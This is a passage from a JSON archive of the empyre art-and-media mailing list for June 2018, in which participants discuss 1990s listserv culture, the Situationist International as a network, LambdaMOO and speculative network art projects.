(Verso, 2015)\n>\n>     \u00b7/General Intellects: Twenty-One Thinkers for the Twenty-First\n>     Century/ (Verso, 2017)\n>\n>\n>     On a sunny day in June.. let the words begin....\n>\n>\n>     over\n>\n>     sl\n>\n>\n>\n>\n>\n>\n> -- \n>\n> McKenzie Wark\n> *Professor of Media and Culture*\n> EUGENE LANG COLLEGE\n> 65 w11th st, NEW YORK, NY 10011\n>\n> warkk at newschool.edu \n> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180623/e2936877/attachment.html>\n",
                                        "date": "Sun Jun 24 03:05:20 AEST 2018",
                                        "message-id": "10342",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010342.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "warkk at newschool.edu",
                                        "id": "10343",
                                        "content": "Shu Lea,\n   thanks tor the link to http://compostingthenet.net which i was just\nplaying with for a bit. I had once tried to get a more prosaic set of tools\ndeveloped for working with nettime.org as a collaboration with Warren Sack.\n(We picked that one as its archive is public and has been for years).\nNobody would fund it so that didn't happen. I don't know how much one would\nneed tools for doing digital humanities style work on listserv culture, or\nif one just needs to think about it and do it the old human humanities way.\n\nIts remarkable how the networks of the nineties get left out of various\nhistories, from art history to media history. I was at a rather good event\non cybernetics organized by millennial artists, librarians, coders. Of the\nthree hundred people there, nobody knew what nettime was, or any of the\nother similar networks i polled the audience about. They had only heard of\nrhizome because its now a program at New Museum. I see a lot of people\nre-inventing the wheel. I had to sit through a panel discussion recently at\nwhich one panelist declared that \"there is no critical writing about tech.\"\n\nSo the question then becomes one of the temporal aspect of networks, how\nthey might pass themselves along through time without losing too much of\ntheir form. One can see what's going to happen if one reads the books on\nthe Situationist International, which is all things to all people, but is\nnever a network in the literature, let alone a series of conflicts and\nmediations about what a network is or could be. I tried to remedy that a\nbit in The Beach Beneath the Street, but there's a lot to be done to create\na network approach to the history of networks.\n\n\nOn Sat, Jun 23, 2018 at 1:05 PM, Shu Lea Cheang <shulea at earthlink.net>\nwrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> hi, warkk\n>\n> I think we should bring in Rachel Baker to help us digging into the\n> Situationists!! and we can start listing some keywords: distributed,\n> autonomous.... (with all empyrians' help!)\n>\n> so, indeed about the threads...just as we witnessed here last 3 weeks, the\n> multiple threads, the threads that got picked up or sunk into oblivion......\n>\n> and about listserve culture...you should really work on the book. I am\n> very interested in it.\n>\n> i have this web work, composting the net (2013).\n>\n> real time accessing listserve, retrieve the postings randomly, scramble\n> the words, make compost out of it for the fresh sprouts to grow..\n>\n> http://compostingthenet.net\n>\n> use menu pull down to take a listserve, when one start composting process,\n> press mouse to stop the tumbling and read.\n>\n> the composted ones - nettime, spectre, empyre, idc, aha, (skor is out, and\n> it seems rohpost also not available any more)\n>\n> Annet Decker once commissioned me to compost SKOR of NL, which gave me the\n> archive access . unfortunately SKOR got shut down and the site is no longer\n> available. this was casualty of NL's last media art budget cut...\n>\n> over\n>\n> sl\n>\n> On 23/06/18 17:01, warkk wrote:\n>\n> ----------empyre- soft-skinned space----------------------\n>\n>\n>\n> Thanks Shu Lea,\n>     i was at a thesis defense just yesterday and i was thinking about\n> this. The defender's name is Pehr Englen, and i expect he'll write about\n> this soon. The topic was the Situationist International considered as a\n> network, and as an argument between different forms of network. Which got\n> me thinking about Jacqueline de Jonge's journal, The Situationist Times,\n> which one can read as a publication for artists and (partly) by artists\n> that was a resource-book for thinking and acting in networks. It was\n> multi-lingual, but had more of a visual than a written language. There were\n> issues devoted to specific topologies, such as rings or spirals. I think\n> this side of the Situationist International that ended up in The\n> Situationist Times was very interested in what distributed networks of\n> autonomous groupings would be like as a form of artistic communication. One\n> has to wrest it out of the hands of art history, which is more interested\n> in either individual artists or movements that have names and leaders. This\n> was an avant-garde that had neither of those qualities.\n>\n> This connected for me to a project i have never quite managed to get done,\n> which would be a more personal account of the listserv culture of the\n> nineties. I was on nettime more than empyre but i see them as part of a\n> network of networks that includes undercurrents, spectre, rhizome and\n> several others. How do you write about something in the form of linear\n> prose that didn't have that form at all? It is hard enough with just two\n> correspondents. When i was editing my correspondence with Kathy Acker this\n> drove me crazy. In actuality there were always several threads going and we\n> answered each other on those threads. But in book form all that has to\n> collapse into one sequence. I printed the whole thing out and moved the\n> documents around on the floor. The order ended up being a compromise.\n> Imagine doing that for dozens of threads among hundreds of parties.... Not\n> that i would want to actually transform those listserv debates literally\n> into print form, but even just notionally to transform the dynamics of\n> those networks into one prose narrative seems to defeat the form of the\n> thing itself.\n>\n> So that might be a place to start thinking about speculative *and*\n> tangible networks, or ones that are both at once.\n>\n> On Sat, Jun 23, 2018 at 4:25 AM, Shu Lea Cheang <shulea at earthlink.net>\n> wrote:\n>\n>> Dear all\n>>\n>> thanks to Fran llich's latest posting (as promised) which coming at the\n>> tail end of week3 serves well to lead us into week 4. I believe there\n>> would  be some follow up for Fran's tremendous endeavours, Fran, please\n>> stay with us for this week 4.\n>>\n>> This week we focus on proposals for speculative, tangible networks -\n>> the unrealized, to be realized, the anticipated, to be anticipated, the\n>> trashed and the in progress, deep sleep conjuration, deep water dive in,\n>> deep root expounding.... we open up this week to welcome all your proposal\n>> contributions.\n>>\n>> I am honored to welcome the following three heavy-weight thinkers,\n>> writers, hackers, weavers+++  whose work i admired much to join us this\n>> week.\n>>\n>> Francesca da Rimini (Adelaide, Australia) is an artist, writer, filmmaker\n>> and researcher. She was awarded an Australia Council New Media\n>> Fellowship in 1999, and her work has been widely published and exhibited.\n>> She is a founding member of the cyberfeminist art collective VNS Matrix,\n>> intercontinental group identity_runners (with Diane Ludin and Agnese\n>> Trocchi, and In Her Interior (with Virginia Barratt). Recent collaborations\n>> include performance/installation *lips becoming beaks, hexing the alien*\n>> and *The Darkening*. She periodically adds to her labyrinth at LambdaMOO\n>> to continue hexing capitalism from within the beast.\n>>\n>> Denis Roio aka Jaromil (Amsterdam, NL) is a purpose driven software\n>> artisan and well known ethical hacker. CTO and co-founder of the\n>> Dyne.org think &do tank, a non-profit foundation with more than 15 years of\n>> expertise in social and technical innovation. Leading digital culture\n>> institution popular among digital natives and millenials. Jaromil shares\n>> understandable insights and visions on Internet of Things, Blockchain\n>> Technologies, Cyber Security, Data Ownership and Software Freedom. Expert\n>> speaker about Open Source, Lean and Agile methodologies\n>>\n>> McKenzie Wark from New Castle, Australia, currentl living and working in\n>> New York City. known for his writings on media theory\n>> <https://en.wikipedia.org/wiki/Media_studies>, critical theory\n>> <https://en.wikipedia.org/wiki/Critical_theory>, new media\n>> <https://en.wikipedia.org/wiki/New_media>, and the Situationist\n>> International <https://en.wikipedia.org/wiki/Situationist_International>.\n>> His best known works are *A Hacker Manifesto\n>> <https://en.wikipedia.org/wiki/A_Hacker_Manifesto>* and *Gamer Theory\n>> <https://en.wikipedia.org/w/index.php?title=Gamer_Theory&action=edit&redlink=1>*.\n>> He is Professor of Media and Cultural Studies at The New School\n>> <https://en.wikipedia.org/wiki/The_New_School> in New York City. To cite\n>> a few of his books -\n>>\n>> \u00b7  *The Beach Beneath the Street: The Everyday Life and Glorious Times\n>> of the Situationist International* (Verso, 2011)\n>>\n>> \u00b7  *Telesthesia: Communication, Culture and Class* (Polity, 2012)\n>>\n>> \u00b7  *Excommunication: Three Inquiries in Media and Mediation* (with\n>> Alexander R. Galloway and Eugene Thacker) (University of Chicago Press,\n>> 2013)\n>>\n>> \u00b7  *The Spectacle of Disintegration* (Verso, 2013)\n>>\n>> \u00b7  *Molecular Red: Theory for the Anthropocene* (Verso, 2015)\n>>\n>> \u00b7  *General Intellects: Twenty-One Thinkers for the Twenty-First Century*\n>> (Verso, 2017)\n>>\n>>\n>> On a sunny day in June.. let the words begin....\n>>\n>>\n>> over\n>>\n>> sl\n>>\n>>\n>>\n>>\n>\n>\n> --\n>\n> McKenzie Wark\n> *Professor of Media and Culture*\n> EUGENE LANG COLLEGE\n> 65 w11th st, NEW YORK, NY 10011\n>\n> warkk at newschool.edu\n> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n>\n>\n> _______________________________________________\n> empyre forumempyre at lists.artdesign.unsw.edu.auhttp://empyre.library.cornell.edu\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n\n\n\n-- \n\nMcKenzie Wark\n*Professor of Media and Culture*\nEUGENE LANG COLLEGE\n65 w11th st, NEW YORK, NY 10011\n\nwarkk at newschool.edu\n<http://www.newschool.edu/marketing-communication/email-signature.html#>\nT 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180623/9e6d5658/attachment.html>\n",
                                        "date": "Sun Jun 24 04:50:46 AEST 2018",
                                        "message-id": "10343",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010343.html",
                                        "content-type": "n/a",
                                        "author_name": "warkk",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10344",
                                        "content": "great start for getting into week4... bringing up the listserve network \nand the 90s...\n\nnetworking in the 90s, me finger fucking Francesca across the deep waters.\n\ntake over, dollyoko, reanimated....\n\nover\n\nsl\n\n\nOn 23/06/18 20:50, warkk wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n>> Shu Lea,\n>>    thanks tor the link to http://compostingthenet.net \n>> <http://compostingthenet.net/> which i was just playing with for a \n>> bit. I had once tried to get a more prosaic set of tools developed \n>> for working with nettime.org <http://nettime.org> as a collaboration \n>> with Warren Sack. (We picked that one as its archive is public and \n>> has been for years). Nobody would fund it so that didn't happen. I \n>> don't know how much one would need tools for doing digital humanities \n>> style work on listserv culture, or if one just needs to think about \n>> it and do it the old human humanities way.\n>>\n>> Its remarkable how the networks of the nineties get left out of \n>> various histories, from art history to media history. I was at a \n>> rather good event on cybernetics organized by millennial artists, \n>> librarians, coders. Of the three hundred people there, nobody knew \n>> what nettime was, or any of the other similar networks i polled the \n>> audience about. They had only heard of rhizome because its now a \n>> program at New Museum. I see a lot of people re-inventing the wheel. \n>> I had to sit through a panel discussion recently at which one \n>> panelist declared that \"there is no critical writing about tech.\"\n>>\n>> So the question then becomes one of the temporal aspect of networks, \n>> how they might pass themselves along through time without losing too \n>> much of their form. One can see what's going to happen if one reads \n>> the books on the Situationist International, which is all things to \n>> all people, but is never a network in the literature, let alone a \n>> series of conflicts and mediations about what a network is or could \n>> be. I tried to remedy that a bit in The Beach Beneath the Street, but \n>> there's a lot to be done to create a network approach to the history \n>> of networks.\n>\n> On Sat, Jun 23, 2018 at 1:05 PM, Shu Lea Cheang <shulea at earthlink.net \n> <mailto:shulea at earthlink.net>> wrote:\n>\n>     ----------empyre- soft-skinned space----------------------\n>\n>     hi, warkk\n>\n>     I think we should bring in Rachel Baker to help us digging into\n>     the Situationists!! and we can start listing some keywords:\n>     distributed, autonomous.... (with all empyrians' help!)\n>\n>     so, indeed about the threads...just as we witnessed here last 3\n>     weeks, the multiple threads, the threads that got picked up or\n>     sunk into oblivion......\n>\n>     and about listserve culture...you should really work on the book.\n>     I am very interested in it.\n>\n>     i have this web work, composting the net (2013).\n>\n>     real time accessing listserve, retrieve the postings randomly,\n>     scramble the words, make compost out of it for the fresh sprouts\n>     to grow..\n>\n>     http://compostingthenet.net\n>\n>     use menu pull down to take a listserve, when one start composting\n>     process, press mouse to stop the tumbling and read.\n>\n>     the composted ones - nettime, spectre, empyre, idc, aha, (skor is\n>     out, and it seems rohpost also not available any more)\n>\n>     Annet Decker once commissioned me to compost SKOR of NL, which\n>     gave me the archive access . unfortunately SKOR got shut down and\n>     the site is no longer available. this was casualty of NL's last\n>     media art budget cut...\n>\n>     over\n>\n>     sl\n>\n>\n>     On 23/06/18 17:01, warkk wrote:\n>>     ----------empyre- soft-skinned space----------------------\n>>\n>>\n>>     Thanks Shu Lea,\n>>         i was at a thesis defense just yesterday and i was thinking\n>>     about this. The defender's name is Pehr Englen, and i expect\n>>     he'll write about this soon. The topic was the Situationist\n>>     International considered as a network, and as an argument between\n>>     different forms of network. Which got me thinking about\n>>     Jacqueline de Jonge's journal, The Situationist Times, which one\n>>     can read as a publication for artists and (partly) by artists\n>>     that was a resource-book for thinking and acting in networks. It\n>>     was multi-lingual, but had more of a visual than a written\n>>     language. There were issues devoted to specific topologies, such\n>>     as rings or spirals. I think this side of the Situationist\n>>     International that ended up in The Situationist Times was very\n>>     interested in what distributed networks of autonomous groupings\n>>     would be like as a form of artistic communication. One has to\n>>     wrest it out of the hands of art history, which is more\n>>     interested in either individual artists or movements that have\n>>     names and leaders. This was an avant-garde that had neither of\n>>     those qualities.\n>>\n>>     This connected for me to a project i have never quite managed to\n>>     get done, which would be a more personal account of the listserv\n>>     culture of the nineties. I was on nettime more than empyre but i\n>>     see them as part of a network of networks that includes\n>>     undercurrents, spectre, rhizome and several others. How do you\n>>     write about something in the form of linear prose that didn't\n>>     have that form at all? It is hard enough with just two\n>>     correspondents. When i was editing my correspondence with Kathy\n>>     Acker this drove me crazy. In actuality there were always several\n>>     threads going and we answered each other on those threads. But in\n>>     book form all that has to collapse into one sequence. I printed\n>>     the whole thing out and moved the documents around on the floor.\n>>     The order ended up being a compromise. Imagine doing that for\n>>     dozens of threads among hundreds of parties.... Not that i would\n>>     want to actually transform those listserv debates literally into\n>>     print form, but even just notionally to transform the dynamics of\n>>     those networks into one prose narrative seems to defeat the form\n>>     of the thing itself.\n>>\n>>     So that might be a place to start thinking about speculative\n>>     *and* tangible networks, or ones that are both at once.\n>>\n>>     On Sat, Jun 23, 2018 at 4:25 AM, Shu Lea Cheang\n>>     <shulea at earthlink.net <mailto:shulea at earthlink.net>> wrote:\n>>\n>>         Dear all\n>>\n>>         thanks to Fran llich's latest posting (as promised) which\n>>         coming at the tail end of week3 serves well to lead us into\n>>         week 4. I believe there would  be some follow up for Fran's\n>>         tremendous endeavours, Fran, please stay with us for this week 4.\n>>\n>>         This week we focus on proposals for speculative, tangible\n>>         networks -  the unrealized, to be realized, the anticipated,\n>>         to be anticipated, the trashed and the in progress, deep\n>>         sleep conjuration, deep water dive in, deep root\n>>         expounding.... we open up this week to welcome all your\n>>         proposal contributions.\n>>\n>>         I am honored to welcome the following three heavy-weight\n>>         thinkers, writers, hackers, weavers+++  whose work i admired\n>>         much to join us this week.\n>>\n>>         Francesca da Rimini (Adelaide, Australia) is an artist,\n>>         writer, filmmaker and researcher.She was awarded an Australia\n>>         Council New Media Fellowship in 1999, and her work has been\n>>         widely published and exhibited. She is a founding member of\n>>         the cyberfeminist art collective VNS Matrix, intercontinental\n>>         group identity_runners (with Diane Ludin and Agnese Trocchi,\n>>         and In Her Interior (with Virginia Barratt). Recent\n>>         collaborations include performance/installation /lips\n>>         becoming beaks, hexing the alien/ and /The Darkening/. She\n>>         periodically adds to her labyrinth at LambdaMOO to continue\n>>         hexing capitalism from within the beast.\n>>\n>>         Denis Roio aka Jaromil (Amsterdam, NL) is a purpose driven\n>>         software artisan and well known ethical hacker.CTO and\n>>         co-founder of the Dyne.org think &do tank, a non-profit\n>>         foundation with more than 15 years of expertise in social and\n>>         technical innovation. Leading digital culture institution\n>>         popular among digital natives and millenials. Jaromil shares\n>>         understandable insights and visions on Internet of Things,\n>>         Blockchain Technologies, Cyber Security, Data Ownership and\n>>         Software Freedom. Expert speaker about Open Source, Lean and\n>>         Agile methodologies\n>>\n>>         McKenzie Wark from New Castle, Australia, currentl living and\n>>         working in New York City. known for his writings on media\n>>         theory <https://en.wikipedia.org/wiki/Media_studies>,\n>>         critical theory\n>>         <https://en.wikipedia.org/wiki/Critical_theory>, new media\n>>         <https://en.wikipedia.org/wiki/New_media>, and the\n>>         Situationist International\n>>         <https://en.wikipedia.org/wiki/Situationist_International>.\n>>         His best known works are /A Hacker Manifesto\n>>         <https://en.wikipedia.org/wiki/A_Hacker_Manifesto>/ and\n>>         /Gamer Theory\n>>         <https://en.wikipedia.org/w/index.php?title=Gamer_Theory&action=edit&redlink=1>/.\n>>         He is Professor of Media and Cultural Studies at The New\n>>         School <https://en.wikipedia.org/wiki/The_New_School> in New\n>>         York City. To cite a few of his books -\n>>\n>>         \u00b7/The Beach Beneath the Street: The Everyday Life and\n>>         Glorious Times of the Situationist International/ (Verso, 2011)\n>>\n>>         \u00b7/Telesthesia: Communication, Culture and Class/ (Polity, 2012)\n>>\n>>         \u00b7/Excommunication: Three Inquiries in Media and Mediation/\n>>         (with Alexander R. Galloway and Eugene Thacker) (University\n>>         of Chicago Press, 2013)\n>>\n>>         \u00b7/The Spectacle of Disintegration/ (Verso, 2013)\n>>\n>>         \u00b7/Molecular Red: Theory for the Anthropocene/ (Verso, 2015)\n>>\n>>         \u00b7/General Intellects: Twenty-One Thinkers for the\n>>         Twenty-First Century/ (Verso, 2017)\n>>\n>>\n>>         On a sunny day in June.. let the words begin....\n>>\n>>\n>>         over\n>>\n>>         sl\n>>\n>>\n>>\n>>\n>>\n>>\n>>     -- \n>>\n>>     McKenzie Wark\n>>     *Professor of Media and Culture*\n>>     EUGENE LANG COLLEGE\n>>     65 w11th st, NEW YORK, NY 10011\n>>\n>>     warkk at newschool.edu\n>>     <http://www.newschool.edu/marketing-communication/email-signature.html#>\n>>     T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>>\n>>\n>>\n>>\n>>     _______________________________________________\n>>     empyre forum\n>>     empyre at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>>     http://empyre.library.cornell.edu <http://empyre.library.cornell.edu>\n>     _______________________________________________ empyre forum\n>     empyre at lists.artdesign.unsw.edu.au\n>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>     http://empyre.library.cornell.edu <http://empyre.library.cornell.edu> \n>\n> -- \n>\n> McKenzie Wark *Professor of Media and Culture* EUGENE LANG COLLEGE 65 \n> w11th st, NEW YORK, NY 10011\n>\n> warkk at newschool.edu \n> <http://www.newschool.edu/marketing-communication/email-signature.html#> \n> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180623/521767e0/attachment-0001.html>\n",
                                        "date": "Sun Jun 24 06:03:26 AEST 2018",
                                        "message-id": "10344",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010344.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "dollyoko at thing.net",
                                        "id": "10347",
                                        "content": "dear shu lea and empyreans\n\nyes, finger fucking across platforms and waters,\ndeep code luscious moon brown stem\nthe shadow of a venetian blind on summer body in borrowed loft\nwiping sweat, not swiping left\n(write left alt write)\nFloodnet!\n\ni'm immersing eyes into this generous mycelial conversation today\nfeeling the tendrils of one hundred minds\n\n'powerful poetic gestures'\n'alternate sentiences'\n'the incomputable'\n'nature is not a system'\n'break all separations'\n'imps fuelling the real'\n'vernacular approach to infrastructure'\n't-shroom as family heritage and long-living family member'\n'i have a vast genetic network in me'\n'we begin to think like a forest'\n\nhow to extend the intentional families we (of a certain age) created in\nthe 90s\n[while perhaps reading Bruce Stirling's Dead Media list, or skiving off to\nPMCMoo or RiverMOO when LambdaMOO was down]\nbefore other 'we(s)' were born\n\nJonathan Marshall's book 'Living on Cybermind' might be one answer to\nKen's Q about how to capture the non-linear threaded lives\n\ni've been returning to build at LambdaMoo since around 2013, prompted by\nprojects such as Networked Art Forms and Tactical Magick Faerie Circuits -\ninstigated by the wonderful Nancy Mauro-Flude, and (equally wonderful)\nFurtherfield's Beyond the Interface... I'm not sure what the mycelial\npotential of such old platforms might be, I suspect there's something\nthough...... for example, a nascent project I'm doing with Virginia\nBarratt and Alice Farmer takes as it starting point:\n\n-----------------------------------\n\n\"A multi-platform artwork comprising a LambdaMOO environment (multi-user\ndomain object-oriented), performing avatars, improvised performance,\nexperimental hypertext fiction, cryptokitties on the (ethereum)\nblockchain, and a hand-bound XenZine. The subject is the construction of\nintentional family beyond blood and kind.\n\nWe revisit LambdaMOO as a site for gender non-conforming subjectivities to\nexplore the production of xenofam and xenobodies, outside of social\nre-production, and bring those practices to bear upon the \u201creal\u201d. Only a\nfew years after the emergence of the WWW, social networking habits were\nharnessed and stratified into machines for the production of social\ncapital and new affective forms of extractivism within the paradigm of\ninfo-capitalism. Yet the outlier LambdaMOO is still maintained by a small\nphreak family as a working experiment, an enclave among other secessionist\nservers (caves, sinkholes, hackpads, labyrinthine clouds) carving out\nspace to platform lives of creative resistance, blasphemy and joy.\n\nThe performing avatars, the unholy trinity of Witchmum, Mum 2.0 and\nPrecocious Meme Savant, have cooked, co-habited and coded as becoming-kin\nto instantiate xenofam, building affective bonds through which datablood\nflows. This queered approach to extensible and open family platforms\ngenerates intentional spaces for the reconfiguration of blood ties beyond\nblood types, and another mode of hexing Capital.\"\n\n--------------------\n\nI want to write more, but I need to buy bread as I can't wait the 12 hours\nfor the wild yeasts to do their thing.\nI will try to attract some xenofeminist and other spores this way\nwhile thinking about how Ken's 'we no longer have roots, we have aerials'\nmight take a mycelial turn\n\n\nWarmly, to all\ndoll fingers + witch thoughts, perhaps a spell cast from and to this\nconversation, tomorrow\n\n\n\n> ----------empyre- soft-skinned\n> space----------------------_______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n\n",
                                        "date": "Mon Jun 25 16:16:15 AEST 2018",
                                        "message-id": "10347",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010347.html",
                                        "content-type": "n/a",
                                        "author_name": "dollyoko at thing.net",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "warkk at newschool.edu",
                                        "id": "10348",
                                        "content": "Alan is quite right to stress how extensive the options were for online\nencounters in the 90s, beyond the handful i named. The larger point might\nstill be that knowledge of any of that world is fairly thin these days.\nThere are a few period accounts. dollyoko mentions Marshall's Living on\nCybermind. Julian Dibbell wrote a book about LambdaMoo. There's a new book\nby Claire Evans called Broad Band that has good brief accounnts of Echo and\nThe Word and is focused on innovations in computation by women.\n\nOf course one could ask whether the linear prose form of the book is the\nbest or even a necessary way of documenting such things. I think of the\nbook as an instance of what dollyoko calls \"successionist servers.\" Its\nhard to keep them out of Amazon, one of the biggest vectoral class\nenterprises of our time, but they will at least 'run' independently of that\nproprietary environment.\n\nA book is a concentrated swarm whereas online communication tend to default\nto dispersed ones....\n\ndollyoko has some great language for an ongoing project: secessionist\nservers, intentional family, open family platforms, vernacular approaches\nto infrastructure. (To just pick a few that i think go together with the\nthemes Shu Lea suggested).\n\nMaybe its a good thing that 90s cyberculture experiments ended up largely\ninvisible and excluded from history, as now it might be time to be rather\ndiscreet about the possibilities uncovered then. Maybe it was a good thing\nfor mycelium that it was largely invisible for so long, as nobody figured\nout how to monetize it.\n\nmw\n\nOn Mon, Jun 25, 2018 at 2:16 AM, <dollyoko at thing.net> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> dear shu lea and empyreans\n>\n> yes, finger fucking across platforms and waters,\n> deep code luscious moon brown stem\n> the shadow of a venetian blind on summer body in borrowed loft\n> wiping sweat, not swiping left\n> (write left alt write)\n> Floodnet!\n>\n> i'm immersing eyes into this generous mycelial conversation today\n> feeling the tendrils of one hundred minds\n>\n> 'powerful poetic gestures'\n> 'alternate sentiences'\n> 'the incomputable'\n> 'nature is not a system'\n> 'break all separations'\n> 'imps fuelling the real'\n> 'vernacular approach to infrastructure'\n> 't-shroom as family heritage and long-living family member'\n> 'i have a vast genetic network in me'\n> 'we begin to think like a forest'\n>\n> how to extend the intentional families we (of a certain age) created in\n> the 90s\n> [while perhaps reading Bruce Stirling's Dead Media list, or skiving off to\n> PMCMoo or RiverMOO when LambdaMOO was down]\n> before other 'we(s)' were born\n>\n> Jonathan Marshall's book 'Living on Cybermind' might be one answer to\n> Ken's Q about how to capture the non-linear threaded lives\n>\n> i've been returning to build at LambdaMoo since around 2013, prompted by\n> projects such as Networked Art Forms and Tactical Magick Faerie Circuits -\n> instigated by the wonderful Nancy Mauro-Flude, and (equally wonderful)\n> Furtherfield's Beyond the Interface... I'm not sure what the mycelial\n> potential of such old platforms might be, I suspect there's something\n> though...... for example, a nascent project I'm doing with Virginia\n> Barratt and Alice Farmer takes as it starting point:\n>\n> -----------------------------------\n>\n> \"A multi-platform artwork comprising a LambdaMOO environment (multi-user\n> domain object-oriented), performing avatars, improvised performance,\n> experimental hypertext fiction, cryptokitties on the (ethereum)\n> blockchain, and a hand-bound XenZine. The subject is the construction of\n> intentional family beyond blood and kind.\n>\n> We revisit LambdaMOO as a site for gender non-conforming subjectivities to\n> explore the production of xenofam and xenobodies, outside of social\n> re-production, and bring those practices to bear upon the \u201creal\u201d. Only a\n> few years after the emergence of the WWW, social networking habits were\n> harnessed and stratified into machines for the production of social\n> capital and new affective forms of extractivism within the paradigm of\n> info-capitalism. Yet the outlier LambdaMOO is still maintained by a small\n> phreak family as a working experiment, an enclave among other secessionist\n> servers (caves, sinkholes, hackpads, labyrinthine clouds) carving out\n> space to platform lives of creative resistance, blasphemy and joy.\n>\n> The performing avatars, the unholy trinity of Witchmum, Mum 2.0 and\n> Precocious Meme Savant, have cooked, co-habited and coded as becoming-kin\n> to instantiate xenofam, building affective bonds through which datablood\n> flows. This queered approach to extensible and open family platforms\n> generates intentional spaces for the reconfiguration of blood ties beyond\n> blood types, and another mode of hexing Capital.\"\n>\n> --------------------\n>\n> I want to write more, but I need to buy bread as I can't wait the 12 hours\n> for the wild yeasts to do their thing.\n> I will try to attract some xenofeminist and other spores this way\n> while thinking about how Ken's 'we no longer have roots, we have aerials'\n> might take a mycelial turn\n>\n>\n> Warmly, to all\n> doll fingers + witch thoughts, perhaps a spell cast from and to this\n> conversation, tomorrow\n>\n>\n>\n> > ----------empyre- soft-skinned\n> > space----------------------_________________________________\n> ______________\n> > empyre forum\n> > empyre at lists.artdesign.unsw.edu.au\n> > http://empyre.library.cornell.edu\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n\n\n\n-- \n\nMcKenzie Wark\n*Professor of Media and Culture*\nEUGENE LANG COLLEGE\n65 w11th st, NEW YORK, NY 10011\n\nwarkk at newschool.edu\n<http://www.newschool.edu/marketing-communication/email-signature.html#>\nT 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180625/98bd4f74/attachment.html>\n",
                                        "date": "Mon Jun 25 22:13:28 AEST 2018",
                                        "message-id": "10348",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010348.html",
                                        "content-type": "n/a",
                                        "author_name": "warkk",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "p at voyd.com",
                                        "id": "10350",
                                        "content": "As someone who would call himself postcybernetic rather than  postinternet,\nI agree with Dollyoko nd Ken.  The spaces for intereaction were highly\nheterogenous and diverse, and Honestly, I find the postinternet discourse\nrelatively bland by comparison, as a lot of what it talks about is reference\nto postcybernetic/cyberdelic.  MOOs, MUDs, Even back to nets of online\ncommunities (Thing, Compuserve, Delphi, Fidonet, Usenet) was amazing. In\nmany ways it seems like the corporate stacks combined with academic FOMO has\ncreated a tremendous amount of conservatism compared to the crash theory\ndays of the Krokers.\n\nIn many ways, I think our era of risk aversion and its pruning of the\nrhizome is indicative of the relationship between culture and capital.  As\nart fairs and consolidating gallery culture, as well as the struggle (in my\nmind) to figure ourselves out more as Postmodernism fractured into the\nSpeculative Turn, the notion of the rhizome has turned into reality bubble\nfoam that generally swirls under megacorporate umbrellas.\n\nThis is why I love things like Dina Karadzic's FUBAR bunch, and Shu Lea's\nwork the other year at the Leonore residency, but I also wonder why the\nnotion of the mycorhizome is so strong these days as opposed to the\nstrawberry patch (Deleuze), is it a subliminal signifier of fruit and decay\nand rebirth?\n\nAlso very interested in t-shroom discussion.\n\nLove from the desert\n(also apologies for the typos - my current computer has a very flaky\nkeyboard)\n\n\n\n-----Original Message-----\nFrom: empyre-bounces at lists.artdesign.unsw.edu.au\n<empyre-bounces at lists.artdesign.unsw.edu.au> On Behalf Of warkk\nSent: Monday, June 25, 2018 4:13 PM\nTo: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\nSubject: Re: [-empyre-] rehearsal of a network - [week 4]\n\nAlan is quite right to stress how extensive the options were for online\nencounters in the 90s, beyond the handful i named. The larger point might\nstill be that knowledge of any of that world is fairly thin these days.\nThere are a few period accounts. dollyoko mentions Marshall's Living on\nCybermind. Julian Dibbell wrote a book about LambdaMoo. There's a new book\nby Claire Evans called Broad Band that has good brief accounnts of Echo 